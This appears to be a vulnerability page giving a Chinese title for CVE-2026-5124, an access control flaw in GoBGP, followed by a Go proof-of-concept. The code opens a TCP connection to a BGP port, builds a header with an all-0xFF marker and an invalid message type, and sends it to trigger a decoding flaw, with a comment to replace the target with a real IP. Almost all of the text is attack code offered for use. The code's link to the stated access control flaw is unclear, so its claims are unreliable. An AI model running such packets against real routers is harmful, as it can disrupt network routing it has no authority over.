CVE-2026-5124：osrg GoBGP访问控制漏洞

package main import ( "bytes" "encoding/binary" "net" ) // PoC for CVE-2026-5124: Improper Access Control in GoBGP // This code attempts to send a malformed BGP packet to trigger the vulnerability. func main() { target := "127.0.0.1:179" // Replace with actual target IP conn, err := net.Dial("tcp", target) if err != nil { panic(err) } defer conn.Close() // Construct a malicious BGP packet header buffer := new(bytes.Buffer) // BGP Marker (16 bytes) marker := make([]byte, 16) for i := range marker { marker[i] = 0xFF } buffer.Write(marker) // Length (2 bytes) and Type (1 byte) // Sending crafted data to trigger DecodeFromBytes flaw binary.Write(buffer, binary.BigEndian, uint16(20)) buffer.WriteByte(0xFF) // Invalid type // Send payload _, err = conn.Write(buffer.Bytes()) if err != nil { panic(err) } }